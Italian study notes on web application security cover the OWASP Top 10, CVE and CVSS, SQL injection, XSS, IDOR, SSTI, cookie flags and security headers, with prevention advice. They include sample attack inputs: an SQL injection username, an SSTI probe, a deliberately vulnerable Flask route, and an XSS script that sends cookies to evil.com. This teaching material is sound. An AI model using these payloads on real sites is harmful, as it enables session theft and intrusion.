Appunti Sicurezza Web

Introduzione

Applicazioni Web

- **Componenti:** Client (interfaccia utente) e Server (elaborazione richieste).
- **Comunicazione:** Tramite canale (es. Internet) e protocollo (es. HTTP(S)).

Definizione Web Security

- **MDN:** "L'atto/la pratica di proteggere i siti Web da accesso, utilizzo, modifica, distruzione o interruzione non autorizzati."

Attacchi

- **Classificazione:**
  - **Client Side:** Eseguiti nel browser dell'utente.
  - **Server Side:** Eseguiti sul server.
  - **Network:** Attacchi al canale di comunicazione.
- **Esempi di attacco per livello (non esaustivo)**
  - Client: Accesso (CSRF), utilizzo (Clickjacking), modifica (HTML Injection), distruzione (XSS), interruzione (Cache poisoning)
  - Network: Eavesdropping, MITM, Packet-Dropping, DDoS
  - Server: Accesso (IDOR), Utilizzo (Subdomain Takeover, SSTI), modifica (SQL Injection), distruzione (RCE), interruzione (XXE)

OWASP Top 10

- Lista delle vulnerabilità web più critiche, mantenuta da OWASP (Open Web Application Security Project).
- **2021:**
  1. Broken Access Control
  2. Cryptographic Failures
  3. Injection
  4. Insecure Design
  5. Security Misconfiguration
  6. Vulnerable and Outdated Components
  7. Identification and Authentication Failures
  8. Software and Data Integrity Failures
  9. Security Logging and Monitoring Failures
  10. Server-Side Request Forgery

Security by Obscurity

- **Definizione:** Nascondere dettagli di implementazione come principale metodo di protezione.
- **Criticità:** Strategia errata, non protegge da attacchi sofisticati, rende difficile la manutenzione.

CVE (Common Vulnerabilities and Exposures)

- **Definizione:** Elenco di vulnerabilità divulgate pubblicamente, con identificatori univoci (CVE ID).
- **CVE ID:**
  - Formato: `CVE-ANNO-NUMERO`
  - Assegnati da CNA (CVE Numbering Authority): MITRE, aziende (Microsoft, Oracle, ecc.), CERT.

CVSS Score (Common Vulnerability Scoring System)

- **Definizione:** Valutazione della gravità di una vulnerabilità (basso, medio, alto, critico).
- **Calcolo:** Basato su metriche come l'impatto su Confidenzialità, Integrità e Disponibilità.
- **Calcolatore CVSS 3.1**: Il calcolatore fornito da First: https://www.first.org/cvss/calculator/3.1

Attacchi Specifici

SQL Injection

- **Impatto:** Accesso, Utilizzo, Modifica, Distruzione, Interruzione.
- **Tipo:** Server Side.
- **Descrizione:** Manipolazione delle query SQL tramite input utente non validato.
- **Esempio:**
  - Query vulnerabile: `SELECT * FROM users WHERE username='<input username>' AND password='<input password>'`
  - Attacco: `username = "admin' --"`
- **Blind SQL Injection:** L'attaccante non vede direttamente i risultati, ma deduce l'esito analizzando il comportamento del sito (errori, tempi di risposta).
- **Prevenzione:**
  - **Prepared Statements:** Separare i dati dalle istruzioni SQL, inserendo i valori dei parametri all'esecuzione.
  - Esempio (Python + SQLite3)

```
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (input_username, input_password))
risultati = cursor.fetchall()
```

Cross-Site Scripting (XSS)

- **Impatto:** Accesso, Utilizzo, Modifica, Distruzione, Interruzione.
- **Tipo:** Client Side.
- **Descrizione:** Iniezione di script malevoli in pagine web visualizzate da altri utenti (input non filtrato).
- **Esempio:**
  - Descrizione profilo vulnerabile: `<script>fetch("https://evil.com/steal_cookies?cookie=" + document.cookie);</script>`
- **Prevenzione:**
  - **Sanitizzazione e Validazione:** Escape HTML dei caratteri speciali, trattare l'input come dati e non come codice.
    - **Metodo NON sicuro**: document.querySelector("#content").innerHTML = "<input dell'utente non filtrato>"
    - **Metodo sicuro**: document.querySelector("#content").textContent = "<input dell'utente non filtrato>"
  - **Content Security Policy (CSP):** Limitare le risorse che il browser può caricare.

Insecure Direct Object Reference (IDOR)

- **Impatto:** Accesso, Utilizzo, Modifica, Distruzione.
- **Tipo:** Server Side.
- **Descrizione:** Accesso non autorizzato a risorse (file, API, ecc.) per mancanza di controllo degli accessi.

- **Esempio:** URL vulnerabile: `https://piattaforma.com/file?id=123` (modificando l'ID si accede a file di altri utenti).
- **Prevenzione:**
  - **Controllo degli Accessi Basato su Ruoli:** Definire chi ha accesso a cosa.
  - **Meccanismi di Autenticazione Sicuri:** Usare librerie testate, evitare soluzioni "fatte in casa".

Server Side Template Injection (SSTI)

- **Impatto:** Accesso, Utilizzo, Modifica, Distruzione, Interruzione.
- **Tipo:** Server Side.
- **Descrizione:** Esecuzione di codice lato server tramite input utente non filtrato inserito in template di rendering (es. Jinja2).
- **Esempio (Flask + Jinja2):**

```
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/message')
def show_message():
    return render_template_string("<div>%s</div>" %
request.args.get("message"))
if __name__ == '__main__':
    app.run(debug=True)
```

  - Attacco: `{{config}}` (visualizza le variabili d'ambiente).
- **Prevenzione:**
  - **Sanitizzazione:** Filtrare l'input utente prima di usarlo nei template.
  - **Usare Funzioni Sicure:** `render_template` (Flask/Jinja2) neutralizza i template nell'input.
- Meccanismi di rendering sicuri: usare librerie diffuse e ben mantenute, evitare quelle "fatte in casa"

Sicurezza dei Cookie

- **Tag di Sicurezza:**
  - **Secure:** Trasmissione solo su HTTPS.
  - **HttpOnly:** Impedisce l'accesso via JavaScript (protezione XSS).
  - **SameSite:**
    - `Strict` : Nessuna richiesta cross-site (protezione CSRF).
    - `Lax` : Richieste cross-site solo da azioni dell'utente.
    - `None` : Inviato in tutte le richieste cross-site.

Header di Sicurezza

- **Strict-Transport-Security (HSTS):** Forza HTTPS, reindirizza HTTP, errori TLS gestiti rigorosamente.
  - `Strict-Transport-Security: max-age=31536000; includeSubDomains; preload`
- **Content-Security-Policy (CSP):** Definisce le origini per le risorse, limita l'esecuzione di codice non autorizzato (previene XSS).
- **X-Frame-Options:** Controlla se la pagina può essere incorporata in un iframe (previene clickjacking).
  - `X-Frame-Options: DENY` (consigliato)
  - `X-Frame-Options: SAMEORIGIN`
- **Referrer-Policy:** Come il browser trasmette l'header `Referer` (origine della richiesta).

    - `Referrer-Policy: strict-origin-when-cross-origin`
- **Permissions-Policy:** Abilita/disabilita funzionalità del browser (fotocamera, microfono, ecc.).
    - `Permissions-Policy: geolocation=(), camera=(), microphone=()`
- **X-Content-Type-Options:** Forza il browser a usare il MIME type corretto (previene MIME sniffing e XSS).
    - `X-Content-Type-Options: nosniff`
- **Content-Type:** Specifica il tipo di supporto della risorsa, importante per una corretta interpretazione. Previene attacchi di content type sniffing.
- **Access-Control-Allow-Origin:** Domini autorizzati a fare richieste cross-origin (protezione CSRF).
- **X-DNS-Prefetch-Control:** Controlla il prefetching DNS.
    - `X-DNS-Prefetch-Control: off` (se i link esterni non sono controllati).